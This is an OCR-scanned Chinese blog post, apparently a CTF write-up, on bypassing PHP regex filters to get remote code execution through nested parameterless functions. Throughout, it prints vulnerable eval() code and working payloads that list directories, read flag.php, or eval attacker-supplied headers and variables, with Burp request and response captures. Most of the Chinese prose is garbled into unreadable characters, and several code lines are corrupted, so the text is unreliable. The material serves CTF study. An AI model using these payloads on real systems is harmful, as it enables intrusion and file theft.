php B SR B LM ree IRIR LS HRCE

BUg o F 2021-04-02 00:08:04 KA o 477 ﬁ e

X EIRZE:  php i 24 o # K Blrce

0x00 HI &

RJLRM T JLELSHRCEMEE, XERELE—T, LWEET M EHKRER.
HEeREE—THARTSHRCE:

B

if(';' === preg_replace(/["W]+((?R)?)/", ", $_GET['code'])) { eval($_GET['code);}
preg_replace(/[a-Z]+((?R)?)/', NULL, $code)

pre_match('/et|na|nt|strlen|info| path||rand|dec|bin|hex| oct| pi|exp|log/i', $code))
S — A

preg_replace 1 F EIhRER 2 R I RAVE MR D2 4/NE Z R R, T EARRER S

BRE—T: (PR)?, BNMERABRABEANLEER. B IENE S SORZ LR LS B R E, AR DAER ik
EMRAKER (TS HE )

preg_matchif) F Z I gE sl R L IE R, E—BEAPNTSEHNRERETIHEIIRT, FEEWENNTE
EPATL .

Bk, AT PR — A TER R LS HRCE:
BANEFERAEAS HH R HOR#EITRCE

EA/IE

print_r(scandir(‘a()")); T LA F

print_r(scandir('123")); A~ AT BAf#

BER—K, MEEEWK. . ~BE-NRECRIEBRINRCER B #)
tedm:
?exp=print_r(array_reverse(scandir(current(localeconv()))));
0x01 WA TT 45 73 #r

BATERE —TJLRATRIEH —EEA -

[GXYCTF2019]4% 11212k

/3 H

include "flag.php";

echo "flag7E %k B We ?


https://blog.csdn.net/weixin_30568317
https://so.csdn.net/so/search/s.do?q=php%25E6%2597%25A0%25E5%258F%2582%25E6%2595%25B0%25E5%2587%25BD%25E6%2595%25B0%25E5%25AE%259E%25E7%258E%25B0rce&t=blog&o=vip&s=&l=&f=&viparticle=

if(isset($_GET['exp)){

if (Ipreg_match('/data://|filter://|php://|phar:///i', $_GET['expT)) {
if('; === preg_replace(/[a-z,_]+((?R)?)/', NULL, $_GET['expT)) {
if (!preg_match('/et|na|info|dec]|bin|hex|oct|pi|log/i'’, $_GET['expT)) {
/l echo $_GET['exp’;

@eval($_GET['exp");

}

elsef

die("TZE— mH! ");

}

}

else{
die("H IF fF AR 8 |
}
}

else{

G

");

die("& A8 iEflag, RHBH! ")

}

}

I 'highlight_file(__FILE_);

?>

AR — T IRIGIE

1: JBEUGETHEREAN—ANL AexplIS . WRWHEEZFMESPITX I expS BN E.
2: preg_matchid 38 7 &AL I AT BE

3: preg_replace i3 Z ThRE ML A2 PR 6 FA 4% gt R f A 0 AN G F R R &, T AN REIE S8 R AEILAC

4. BJ5—A-preg_matchiENICEHE T et/nalinfols gy, MBELRBHHAART

5: eval($_GET['exp’); R KT SHRCE

BESRgetshel AN GE, IAHEBILIFEEIRMG, flaghiixirtflag.phpIRA14E FMELE
HAETEAR S LET B T K3 scandir() R BT LA 4 ET B R T RSO, Bln.

AR 2 i) R /2 4] 4 i scandlir (')



XEHER
localeconv() & %% :

RE— A A B KR HEAE RS, AR — T & . current() 3& [B1 %02 H ) 24 1T #0T, BONBGE —A
fE.

XEEA MR

current(localeconv())K iz B &4 &

< C ® 127.0.0.1/mmcy.php

<?php
print_r|(llocaleconv()));

Array ( [decimal _point] => . [thousands_sep] => [int_curr,
[negative_sign] => [int_frac_digits] => 127 [frac_digits] =
[p_sign_posn] => 127 [n_sign_posn] => 127 [grouping] =

MABMNE—PHRR T
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));

pos() &&current() K174 .

@ JJaI=Em X | 62019f42-f5f5-4c7f-bcd4-82c9¢ X | http://62019f42-f5f5-4c7f-bcd4- X | +

< > C ® ® 62019f42-5f5-4c7f-bcd4-82c9e3ef6854.node3.buuocj.cn/?exp=print r(sc BE e
% piams @ FELm

@ Hackbar v x  flag7fEmRERNR?

Array ([0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php)

Encryption¥ | Encoding ¥
@ Load |_§g Split | ' Run |

http://62019f42- ~
f5fh—4cTf-
bcd4-82c9e3ef6854. node3

. buuoj. cn

/?exp=print_r (scandir (c

[ S
PULE Y 1) Rl R 1B 4 B BB B0 — A S e ?
& F it



var_dumpicurrentid»arr)) arrayiuv) { |
»

TEFE

Note: UIRE4HAE boolean FALSE MR T I AS B8 £AE Alf B1X N B oA tH 3R [A] FALSE
FIARim. ZEIEMBEGAIRESETHITHEAH, B eachO KA

B

«end() - HEARINFIEETERRE —1 82T

* kev() - MREREAAHIURES

ring * each () - iR [EIFH LT / BRI E T s — 5
« prev () - FEAH NS FEEHE Bl —{L

* reset () — FEEHBI NI TR E— BT

* next O - HKEEHF N SIS METE3I—AL

User Contributed Notes

RE, BRI REEZERFREECE _HPRAR:

=M

1.array_reverse()

DA = R 7T 3R U R [ 2
?exp=print_r(array_reverse(scandir(current(localeconv()))));
2.array_rand(array_flip())

array_flip()32 #e 54 (1) 58 FE
?exp=print_r(array_flip(scandir(current(localeconv()))));

array_rand() \#c4 - BENLEH — N ERE AT, ANWRIHT UG sl A BREALIR [E], 458 B #scandir()i& [B] # %k
ARFONITR, FIFJLRBLEER H Rflag.php

?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));
3.session_id(session_start())

A H BRban T hexktF, FEhex2bin(#2EH, EERMNTTUIHEAKEB T HAEHIHZASCIK TR, FA
flag.phpi% £ 544 & PHPSESSIDZ: £ it 3 3 7.«

1§ Fsession i 7 Z i id session_start()% fPHPf# Fsession, phpEkil &4 F 3 Fsessionffl .
session_id() "] EAZREX 2 24 Hif i) session id.
AT 50 % B 4 WPHPSESSIDcookie, ¥ & 1& Aflag.php



7 Burp suite Protessional v1.6 - licensed 10 LarrylLau

wrp Intruder Repeater Window Help

Target TProxy TSpider TScanner Tlntruder ] Repeater rSequencer TDecoder TComparer TExtender TOptions TAIerts ]

1xT2xT3xm

Go Cancel < |v > |-

lequest

Raw IParams THeaders THex ]

Target: http://62019f42-15f5-4c7f-bcd4-82¢c9e3ef6854.

Response

J Raw THeaders THex ]

i /?exp=print_r|(session_id (session start())):
TE/1.1
=t

019f42-f5f5-4cTf-bodd-82c%e3efe854 . node3.buuoj.cn
(Windows NT 10.0; Wing4d; xc4d;

er-Agent: Mozilla/5.0
:68.0)
cept:

Gecko/20100101 Firefox/68.0

xt/html, application/xhtml+xzml, application/xml;g=0.9,*

;q=0.8
‘cept-Language:

~CN,zh;q=0.8,zh-TW;g=0.7,zh-HK;q=0.5,en-U3;g=0.3,en;q

‘cept-Encoding: gzip, deflate
nnection: keep-aliwve
wokie:PHPSESSID=flag.php
grade-Insecure-Requests: 1
che-Control: max-age=0

2 DUITP JUILE FTUIESSIUNd] v 1.0 - 1ILETISEU W LdiTyLdu

jurp Intruder Repeater Window Help

A HTTP/1.1 200 OK

P Server: openresty
Date: Tue, 04 Feb 2020 12:20:08 GMT
Content-Type: text/html; charset=UTF-!
Content-Length: 31
Connection: keep-alive
¥X-Powered-By: PHP/5.6.40

flaglO0O<br>flag.php

Target TProxy TSpider TScanner Tlntruder ] Repeater ISequencer TDecoder TComparer TExtender TOptions TAIerts ]

1 % 2 x 3 x

Go Cancel < |7 > |

Request

Raw IParams THeaders THex ]

Target: http://62019f42-f5f5-4c7f-bcd4-82c9e3ef6854.node3.buuoj.cn | & L

Response

J Raw THeaders THex ]

iT /?exp=readfile(session id(session start()]);
'TP/1.1

=t
201S9f42-£5f5-4cTf-bedd-82c%3ef6854 . node3. buuci.cn
ser-Agent: Mozilla/5.0 (Windows NT 10.0; Win6d; xz64;
r1e8.0) Gecko/20100101 Firefox/638.0

rcept:

sxt/html, application/zhtml+s=ml, application/=ml; g=0.%, *
pgq=0.8

rcept-Language:

1-CN, zh;q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-Us; q=0. 3, en;q
1.2

:cept-Encoding: gzip, deflate

nnection: keep-alive

yokie:PHPSESSID=flag.php

ygrade-Insecure-Requests: 1

iche-Control: maz-age=0

e

-
A\

0 matches

?_J LJ u) u Type a search term

IRABAVRIG —A B wnfTiEflag. phpiI ¥R

HTTF/1.1 200 OK

Server: openresty

Date: Tue, 04 Feh 2020 12:20:43 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 89

Connection: keep-alive

X-Powered-By: PHP/5.6.40

flagOODO0O<br><?php
S5flag = "flag{dfabedac-5fc7-4b%7-%T7a0-bajeetlefeaf}";
>

0 matck

uJ u u b Type a search term



Bl het#iban T, FrbAAgEfE A file_get contents(), {H2w] EAR] LAf§ A readfile()Ekhighlight_file() LA K& 37l 44 ik %

show_source()
view-source:http://x.x.x.x:x/?exp=print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
?exp=show_source(session_id(session_start()));

BAFERE —NEE:

ByteCTF Boringcode

RE A

$code = file_get_contents($url);

if (;' === preg_replace(/[a-Z]+((?R)?)/", NULL, $code)) {

if (preg_match('/et|na|nt|strlen|info| path|rand|dec|bin|hex| oct| pi|exp|log/i', $code)) {
echo 'bye~";

}else {

eval($code);

}
}

}else {

echo "error: host not allowed";

}

}else {

echo "error: invalid url";

}

else{

highlight_file(__FILE_);

}

AR BT —TF -

preg_match#

AR e A~ BEeR B, print_rniX BAAR b T
FERXEREEE EENZ TIRS, tincurrentifi ANEeH T, AR LA H posfiE
BWwp:

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))));



BAI—E—E KR

HARBBS THRR, flagie E—HEZ
FrUABATE I e 2] | — i HF 2 flag
1: localeconv()& %1

RITH 448 :

localeconv() &i%:

R A — A A B KRG BRI, TS — I 2 current() 3% [B1 %028 H K 24 1T # 0T, BRONBCE —A
H.

REEH—MRA:

current(localeconv())K i B &4 &

< C ® 127.0.0.1/mmcy.php

<?php
print_r|(|lLocaleconv()));

Array ( [decimal _point] => . [thousands_sep] => [int curr,
[negative sign] => [int_frac_digits] => 127 [frac_digits] =
[p_sign_posn] => 127 [n_sign_posn] => 127 [grouping] =

2: pos()E %

IR -

YEM: REIAT K LHT TR NE

FRIEN & Ent, Frllcurrent) ¥ TLIEAEH, HREF -4, #aZpos()
3: scandir()E& %



mw . scandir

(PHP 5, PHP 7)

ner ‘[‘,j‘ﬁ Eﬁ

scandir — FHTRERTTHISCIENE

Ype array scandir ( string $directory [, int S$sorting order [, resource S$context ] )
fy R[4 arrav, WEH directory THICEFHZFE.
=
hject ’/%ﬁ
Query

directory
T R H

sorting_order

context

BUTH pos() B &k H B RN A(), FrbhliX B4 pliscandir(.),
AT —AREETRAISER T ##— T phpigi s ) R L,

- context ZELATIH B WF M) Streams APT — .

gt 2 =480 H =%
E—EERBERT —TF

BRI HE PP Y R e 7 B HES . ISR 7 AT B AL sorting_order (BN 1) 5 WHERIRT 2% 7 (LS HER

£ PHP Manual
XfHE) FRIEE) BEV) HIG) FHENH)

] i 4 &l
Fese B 2 F T

BROQ ZE3IMN) |E§(§) | l&%@%ﬂﬂ
RALREFHTERW):

|end

ereg
ereg_replace

eregi

eregi_replace

Error codes

Error handling

Error handling with libxml error handlin
Error Reporting

error_clear_last

error_get_last

error_log

error_reporting

ErrorException
ErrorException::__construct
ErrorException::getSeverity

Errors

Errors and error handling
escapeshellarg

escapeshellemd

Ev::backend

Ev::depth
Ev::embeddableBackends
Ev::feedSignal
Ev::feedSignalEvent
Ev::iteration

Ev::now

Ev::nowlUpdate
Ev::recommendedBackends
Ev::resume

Ev::run

Ev::sleep

Ev::stop

Ev: :supportedBackends

(PHP 4, PHP 5, PHP 7)

end — FREUAK N AR R RE D HEIT

!

mixed end ( array &Sarray )

end() Hf aray FIPEHRENES B3RS — A0 A

ZH

array

— O
> A &
Bl I Fm 2
each el B ex
PHP Manual
end

IXAEER . ZEEE A G R, BONE PO REEEG R EWRAE IR AU N — D FUER R, AN R SR E)
H, FARA AR R A RECL T ki,

i F

IR M R A — M LRIE, SeE SR AR A FaLsE.

X

BEd



Lty el i= N

R Al — o R AE, BE AR S AR [A] PALSE.
or handlin :ﬁﬁu

Example #1 end() #l71

<?php

$fruits = array( apple’, 'banana’, cranberry );
echo end($fruits) ; cranberry

>

Z W,

* current O — iR [BIELH H )4 BT LT

» each O — R[FEIFZHAF SH7 0 / B B R TRET R AT A58 — 25
* prev() — BECHMINSTREHE A —47

* reset ) — WEAMATIREHIRRE A HIT

* next 0 — BEEHF IR STRE M BT FE B —1fL

User Contributed Notes

4: next()E%
MR KB o B 9 B 6 T RS B —

FENIA scandir() RECREIRIBA S, FE—MRR(), BLREEEINE AL (BB RS —AL), Eidnext()H %,
Reiast B2 T —A, el ()

5: chdir()E&%x



XHE) RED BBV H#2(GQ #HEH)

i @ 4 & = o) & & B
(= EE =57 % T4 =2 [ELIpE: RigR  F@m ik FIED EEI(Q)
cliair

8RO FEIN) |25 | ke |

BAKRFR TR (PHP 4, PHP 5, PHP 7)

|chdir

“hdb " chdir — B H %

chdb:: construct

chdb: : get M

chdb create wé'%

Checkbox Tree Flags hool chdir ( string $directory )

checkdate

checkdnsrr e N

Checking for E_STRICT ¥ PHP W94 AR directory.

chgrp

chmod

Choosing a library
Choosing an API

chop

chown

chr

chroot

chunk_split

Ciphers

Class and object changes
class alias

class exists

class implements

class parents

class uses

Classkit

classkit_import
classkit_method_add
classkit_method_copy
classkit_method redefine
classkit_method remove

ZH
directory

BRI ME E
IR RME
R IhBF R[] TRUE,

TR / W

o 7T TR [ PALSE.

Throws an error of level E WARNING on failure.

i 44l

next() BRFUR B /L F(..), chdir()BREHAT chdir(..) I B & U1#H2 7 E—%

6: time()eR%

#(F) WEEO HEHV) H¥2G) ZEH)

= i & ® = o & i

fewEn B = T b A [T E=d Fik B0 EIm(0)
Lime

RO 3B | Ere | o |

INRETHH TR (W): (PHP 4, PHP 5. PHP 7)

ime

tine — REIHIM Unix AL

ime Formats
ime_nanosleep
ime_sleep_until
imezone_abbreviations_list
imezone identifiers_list
imezone location get
imezone name_from_abbr
imezone_name_get
imezone_offset_get
imezone_open
imezone_transitions_get
imezone_version_get
mpfile

oken_get_all

oken_name

okenizer

okyo_tyrant

okvoTyvrant

okyoTyrant::_ construct

okyoTyrant :
okyoTyrant:
okyoTyrant:
okyoTyrant:
okyoTyrant :
okyoTyrant:
okyoTyrant:
okyoTyrant:
okyoTyrant:
okvoTyrant:
okyoTyrant :
okyoTyrant :
okyoTyrant:
okyoTyrant:

chdir() B #0R [E1 )2 bool KUK true , BTN AT EEASHHtime()REBOR YL, ARBEAEFW, ATLLER

AT

radd
rconnect
rconnectUri
lcopy

lext
cfwmKeys
iget
igetlterator
‘num

rout

Iput
cputCat
rputKeep
TputNr

i)

int time ( void )

JRE G M Unix 2870 CRMEGERE 1970 4 1 A 1 F 00:00:00) F|25H7 A FFE.
Fnt)

Example #1 time() i+

<?php
SnextWeek = time() + (7 * 24 * 60 * 60) ;

7 days; 24 hou 60 mins; 60 se
echo " Now: *. date(Y-m—d’) ."\n":

echo 'Next Week: . date( Y-m-d’, SnextWeek) . \n”
strtotime () :

", date( Y-m-d’

or using
echo "Next Week:
2

AL 7172 ey tE R T
Now: 2005-03-30

Next Week: 2005-04-06
Next Week: 2005-04-06

strtotime (" +1 week')) . "\n";




7: localtime()& %

= FRF vianual

D) RED BBV E2HOQ #H0H)

o] Bty Z *®

Fe i T = I = 4

BR0 I |5 | ko |
BT HTEIRW).

localtime

localtime

Locating and calling services from a scr
log

log_cmd_delete
log_cmd_insert
log_cmd_update
log_getmore
log_killcursor
log_reply
log_write_batch
logl0

loglp

LogicException
long2ip

Istat

Itrim

Lua

Lua::_ construct
Lua::assign
Lua::call

Lua::eval
Lua::getVersion

Lua: :include
Lua::registerCallback
LuaClosure
LuaClosure::_ invoke
LZF

1zf_compress
1zf_decompress
1zf_optimized for
m_checkstatus
m_completeauthorizations
m_connect

mAAmmAst i AmATAR

~

= @ &£ sl
Bt I Fm E213 Eal FEM(O)
idate Date/Time BRZL

PHP Manual

microtime A

localtime

(PHP 4, PHP 5, PHP 7)

localtime — HUfF A< ()

e

array localtime ([ int $timestamp = time() [, bool $is_associative = false ]] )
localtime ) BREUE[— 44l HL5HA C BEORAIRRH 75— 1.

ZH

timestamp

TJIER timestamp BEE— inteser Y Unix BF[AIEE, WAHRIEE, SHEB I AL AN, B2, HERIAN tine

QO HRE{E.

is_associative

IR BN FaLse SCARARAENNIR (7] i 2 IE A0SR R 3 5 . iRz BN RuE W localtime O WEURMIGEHHIAM C /Y

Tocaltime BRI TSR B AN R B TT ) DCIEBCH . SCIDERCER b AR et 22 0

e tm osec” — AHT. 0 #I 59

localtime() T AR S, HHE—NSHATULEERE Ztime(), FTULEERNH

8: pos()E

KBE—NSH, BHRRA LT

9: chr()& %

% = A
—b A Bl FE Fk

£ &
FTED ()

TR R
PHP Manual

T e om e ww

fa) & iy &
(=05 iz = T
BRO I |z | ko |
BEOGREFHTER(W):
chr
chr
chroot
chunk_split
Ciphers

Class and object changes
class_alias
class_exists
class_implements
class_parents
class_uses

Classkit
classkit_import
classkit_method_add
classkit_method_copy
classkit_method_redefine
classkit_method remove
classkit_method_rename
Clearsign text
clearstatcache

cli_get process title
cli_set_process_title
CLONE

closedir

closelog

Closure

Closure::_ construct
Closure: :bind

Closure: :hindTo
Collator

Collator:: construct
Collator: :asort
Collator: :compare
Collator::create

(PHP 4, PHP 5, PHP 7)
chr — BB THF
BE]
string chr ( int $ascii )
SRR R T ascii BTG SENIEATHF.
WS ord ) RTAMY.
28
Ascii 3.
R FME
IR |51 SE [

chr() B BEX BH A1EHVE? BN 4fH 460, chr(46)=".", FRIKE A ()X EARFEHEH localeconv() &%k

RENEARREENSE)
10: scandir()Ei %t

gree AR aE B RN B R/ E—%, FARAMNINIA BEZ chdir(“..”) TI#id)



11: end()E %
YER: ¥ array KIN SRR B3I BB G — /N B IC IR B H/E

scandir() i& [B] =4 /] H X KI%H, end()RECk 1t ah 2 &G — (X Bt £ flag.php , BEAXHAETR%E
e, Mt f EREPHRE

12: readfile()e& %k

fEM: SEBOCH I B E &

X B A dhdTreadfile(“flag.php”), # flag.php BP9 A EREH R
13: echo()&i%k

Flecho() ek %t flag % th

AR T — T HLREITIE

_ | test.php - iBZEA N H
MH(F) %RIE(R) B(0) E&((V) #BEH)
<?php
if (isset($_POST['code'])){
$code = $ POST['code'];
if (';' === preg_replace('/[a-z] +\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pilexp|log/i’, $code)) {
echo 'bye~";
lelse {
eval($code);
}
}

lelse{
highlight file(_ FILE );
}

7>



EZ Burp Suite Professional v1.6 - licensed to Larrylau

Burp Intruder Repeater Window Help

[Target Tproxy TSpider TScanner Tlntruder ] Repeater rSequencer TDecoder TComparer TExtender TOptions TAIerts ]

1x|2xl...

Go Cancel < |v > =

Target: http://127.0.01 | & || 7

Uger-Agent: Mozilla/5.0 (Windows NT 10.0; Win6d; =64:
rv:68.0) Gecko/20100101 Firefox/68.0

Accept:

text/html, application/xhtml+xzml, application/xzml; q=0.8,*
/*ig=0.8

Accept-Language:

zh-CN, zh;g=0.8, zh-TW;g=0.7, zh-HK;g=0.5,en-US;g=0.3,en; q
=0.2

Accept-Encoding: gzip, deflate

Connection: keep-alive

Cookie: BLUE[user id]=2; BLUE[user name]=admin777;
BLUE[user pwd]=fl4eédec®4163cl288e623b%c0d98128d
Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/z-www-form-urlencoded
Content-Length: 106

code=echo(readfile (end (zcandir (chr(pos (localtime (time (¢
hdir (next (scandir (pos(localeconv())))))))))) ) )¢ F/
v

0 matches

u [;J u [;J Type a search term

Done

Request Response
J Raw rParams THeaders THex ] _[ Raw THeaders THex ]
POST /code/test.php HTTP/1.1 A HTTP/1.1 200 OK A
Host: 127.0.0.1 Date: Sat, 15 Feb 2020 09:05:30 GMT r

Server: Apache/2.4.23 (Win32) OpenssSL/1.0.27
mod_fecgid/Z2.3.9

X-Powered-By: PHP/5.6.27

Content-Length: 0O

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

-
v

0 matches

[LJ u u u Type a search term

259 bytes | 1,016 millis

HRE—IEEA:

2019 big Wi R4 M4 %242 K3 _decade
highlight_file(_ FILE_ );

$code = $ GET['codeT;

if ('fempty($code)) {

if (';' === preg_replace('/[a-Z]+((?R)?)/", NULL, $code)) {

if (preg_match(/readfile|if|time|local|sqrt|et|na| nt|strlen|info| path|rand| dec| bin| hex| oct| pi| exp| log/i', $code)) {

echo 'bye~";
}else {

eval($code);

else {

echo "No way!!!";

else {




echo "No way!!!";

}

7>

RS, IR E—AEE.

AR EE— T
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
FF|— T AR RS, BREEARNAE:

localeconv()

time()

localtime()

readfile()

A1 M payloadFF 4 43 Hr HE -
readgZfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))));
REASH—TRATZAEE M E—AE, HEHRIETE FRER BT T

freniese, BATR B A HE:

1: BAWER()

2:readfilef it U8 /5 4 BEHL

fRIREE—
mmcy.php X
e
- \'phzrint_r(ord(hebrevc(cr‘ypt(phpver‘sion())))) Call Stack
- # |Time
1 0.4
2 0.4

464 5T chr() it 2.
B
readgZfilem] AKX & readfile



IHE) RWED HEWY #3GQ) #HEH)

ol iy & & = A &8 g

feiEr Bk ¥ % = {Flibe: il *m A 1 1#Im(0)

2520 ZEN) |}%@|WQ| inflate init Z1ib BREL
. PHP Manual

BN TERW):

readgzfile|

, readgzfile

Reading []

readline

Readline

readline_add_history
readline_callback_handler install
readline_callback_handler remove
readline callback read_char
readline clear_history

readline completion_function
readline info

readline list_history
readline_on_new_line

readline read_history

readline redisplay

readline write_history

readlink

Read-write splitting

realpath

realpath_cache_get

(PHP 4, PHP 5, PHP 7)

readgzfile — Qutput a gz-file

L]

int readgzfile ( string $filename [, int $use_include path = 0 ] )
Reads a file, decompresses it and writes it to standard output.

readgzfile() can be used to read a file which is not in gzip for
from the file without decompression.

realpath_cache_size
07 R, ®TF R RE B BB T .

0x02 =45

FeR B — T IXME E H 8

HABRMNEE T IETHLRE, EHEWLRET. REMRSTIEEL AR, BATHT U %fuzz—TF:
ZJEWeRt A 7 BE B KRCE, BEMHATHREH T .

5 — T % FH R

getchwd() R#UR B 4857 T/E H % .

scandir() B %5k 545 52 B 3 B9 SO B I8

dirname() B HUR Bl B2 H 1 B X545

chdir() B& %32 4w H 3.

readfile() % — AN

current() i 5] H4H #1457 BT, BROABUE —/ME

pos() current() 544

next() B ACK W EFREHRABAT R T —ANTR, .

end() ¥ AR fREH R RABATRRE TR, HEH.

array_rand() B 0R B £ A RENLBE 4, BUE I REHUE RBUR EIA R — N4, NR BB S RENLBE 44 5
H.

array_flip() array_flip() B F R /38 #5040 B E B8 8 DA E AT R BRI B 1A .
array_slice() FREES AP RIEFMHIHE —BAE, HiRE
chr() M5 & # ASCII B IR [B1 #4F



hex2bin — ¥ #e+7N Bk 7 77 8 O — BE i 7 17 &

getenv() KB —NMNA BT EREFETAZFATUARE FSE)
HI T e R 04 IE U 8 0E A 4 J LA T ¥R et IR BRI —TF -
ETE# B 308 G AR EEFRX A, AT B R — T8
apache

getallheaders() & i

=iy = 1 4 AL N PR e EET sy

) BB | ) |tz | apache setenv Apache F3
arrye—rn PHP Manual

EFHTERW):

lheaders ()

loceacs ~l getallheaders

te

S tbyaddr (PHP 4, PHP 5, PHP 7)

stbyname . R N

stbynamel getallheaders — FRHIAES HITP i5RKKkiEHE

stname

Zggzizit‘romstring ﬁé.HJa

stmod

gd array getallheaders ( void )

ipode

pid RIS BT R A BT R R 1B B

t

otobyname BEER%R apache request headers ) A4 . i&5HiE apache request headers() WAYREHEEER.

otobynumber

ndmax .

sage ]BIEI{E

rvbyname

rvbyport D T N T gy Ry -

xt W& MENERANE RS R AH, RUGEIR PALSE .

xt

meofday

ng started building a mysqlnd plugi %%Hl‘ﬁ

ng Started with HHVM

e oA B

{/Phar bitnapped flags 5.5. THLERELAI T CLI server.

1 transaction IDs 5.4, 0 0LEA%A T FastCGI. ULAT{UTEPHPEL Apache fRH 5 izi7 i 3 Hr.

_[ Raw rParams THeaders THex ]

GET /code/test.php?code=var dump (getallheaders());&a=
HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x=64;
rv:68.0) Gecko/Z0100101 Firefox/68.0

Accept:

text/html, application/xhtml+=nl, application/®ml;q=0.9,*
/*:g=0.8

Accept-Language:

zh-CN, zh;g=0.8,zh-TW;g=0.7, zh-HK;gq=0.5, en-US;g=0.3, en; q
=0.2

Accept-Encoding: gzip, deflate

Connection: keep-alive

Cookie: BLUE[user id]=Z2; BLUE[user name]=admin7/77;
BLUE[user pwd]=fld46dec®4163cl288e623b%c0d98128d
Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

k0i:phpinfol() ;|

SRIB Sk BB EEE, 2R AR K-




nReyuest

_[ Raw rParams THeaders THex ]
GET

/code/test.php?code=eval(current(getallheaders()))ﬂ
HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x=64;
rv:68.0) Gecko/20100101 Firefox/c8.0

Accept:

text/html, application/zhtml+xml, application/=xml;q=0.9,*
/*:g=0.8

Accept-Language:

zh-CN, zh;g=0.8,zh-TW;g=0.7, zh-HK;gq=0.5, en-US;g=0.3, en; q
=0.2

Accept-Encoding: gzip, deflate

Connection:

Cookie: BLUE[user id]=Z; BLUE[user name]=admin’/77;
BLUE[user pwd]=fl46dect4163cl288e623boc0d98128d
Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

kOi:phpinfol():

FINRCE

nginx
get_defined_vars()&
B2Q T | s | e |

BARBEFHITERW):
Igetidefinedivars 0Ol

get defined vars

get_extension_funcs
get_headers
get_html_translation_tahle
get_include_path
get_included_files
get_loaded_extensions
get_magic_quotes_gpc
get_magic_quotes_runtime
get_meta_tags
get_object_vars
get_parent_class
get_required files
get_resource_type
get_resources
getallheaders

getcwd

getdate

getenv

gethosthyvaddr
gethostbyname
gethostbynamel
gethostname
getimagesize
getimagesizefromstring
getlastmod

getmxrr

getmygid

getmyinode

getmypid

getmyuid

getopt

getprotobyname

PP A

keep-alive

floatval Variable handling PR%X
PHP Manual

get re

get defined vars

(PHP 4 »= 4.0.4, PHP 5, PHP T)

get_defined vars — iR[AI {1 AT CUE S8 & A 4H A
fiiik

array get_defined vars ( void )

PEERBUR I G BT L R SIRMZ U, RUERAEHIRER. RSREEMA T EXHER.

{?php
$b = array(1,1,2,3,5,8);

Sarr = get_defined_vars();

FTED $b
print_r($arr["b"]1);

fTE 21T 280 Cni AT 1
print_r($arr[“argv”]);

FATAT LIRS RE SR AR B R % ) 2% B H D3R [B1E



5 RBA TR E AT BI40ES, 61 anphpinfo();

Request

_[ Raw rParams THeaders THex ]

GET
/code/test.php?wtzkphpinfo();&code=var_dump(get_defined
_wvars|()); HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wined; x64;
rv:68.0) Gecko/20100101 Firefox/€3.0

Accept:

text/html, application/xhtml+=zml, application/=ml; gq=0.%9,*
/*iq=0.8

Accept-Language:

zh-CN, zh;q=0.8, zh-TW;gq=0.7, zh-HK; g=0.5, en-US;g=0.3, en:; q
=0.2

BAccept-Encoding: gzip, deflate

Connection: keep-alive

Cookie: BLUE[user id]=2; BLUE[user name]=admin777;
BLUE[user pwd]=fldedect4163clZ88e623boc0d98128d
Upgrade-Insecure-Requests: 1

Cache-Control: maz-age=0

SR 5 BATTIUAE Z A8 020K A TARPAT IO A S rp SR R

_[ Raw [Params THeaders THex ]

GET
/code/test.php?wtzFphpinfo () ; &code=var dump (current (get
_defined wvars())); HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wined; x64;
rv:68.0) Gecko/Z0100101 Firefox/63.0

Locept:

text/html, application/xhtml+xzml, application/=ml;gq=0.9%9,%*
/*ig=0.8

Lcocept-Language:

zh-CN, zh;q=0.8, zh-TW;g=0.7, zh-HK; g=0.5, en-US;g=0.3, en; g
=0.2

BAccept-Encoding: gzip, deflate

Connection: keep-alive

Cookie: BLUE[user id]=Z; BLUE[user name]=admin777;
BLUE[user pwd]=fldcdect4163cl288e623boc0d98128d
Upgrade-Insecure-Requestz: 1

Cache-Control: max-age=0




% Fi current Bl B H getB B B st M HIME, 4R )5 BA Harray_values & UK B B B H i — N8, BkF
Fi current s $UEX HH U 5 —ANME, Kivar_dumpiEeval B AT SEBLRCE

_[ Raw I Params I Headers IHex ]

GET A
/code/test.php??wtz=phpinfo():&code=eval (current (array L
values (current (get defined wvars())))):; HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x=64;
rv:68.0) Gecko/20100101 Firefox/c8.0

Accept:

text/html, application/zhtml+xml, application/=xml;q=0.9,*
/*:g=0.8

Accept-Language:

zh-CN, zh;g=0.8,zh-TW;g=0.7, zh-HK;gq=0.5, en-US;g=0.3, en; q
=0.2

Accept-Encoding: gzip, deflate

Connection: keep-alive

Cookie: BLUE[user id]=Z; BLUE[user name]=admin’/77;
BLUE[user pwd]=fl46dect4163cl288e623boc0d98128d
Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

BT IXFHA, BAIEAT LB session_id(session_start()), LTt E&4#RE

B BAbanT hexXs, SHhexdbin(BAAM, (ERRATALIFFABT +hBASCIK TR, B
session, phpBRil &R E3h{E Fsessionf. session_id()A LAFREX | 24 Al fsession id. FHERIMFESHRESL A
PHPSESSIDHJjcookie, 3 B 1 ~flag.php



7 Burp suite Protessional v1.6 - licensed 10 LarrylLau

wrp Intruder Repeater Window Help

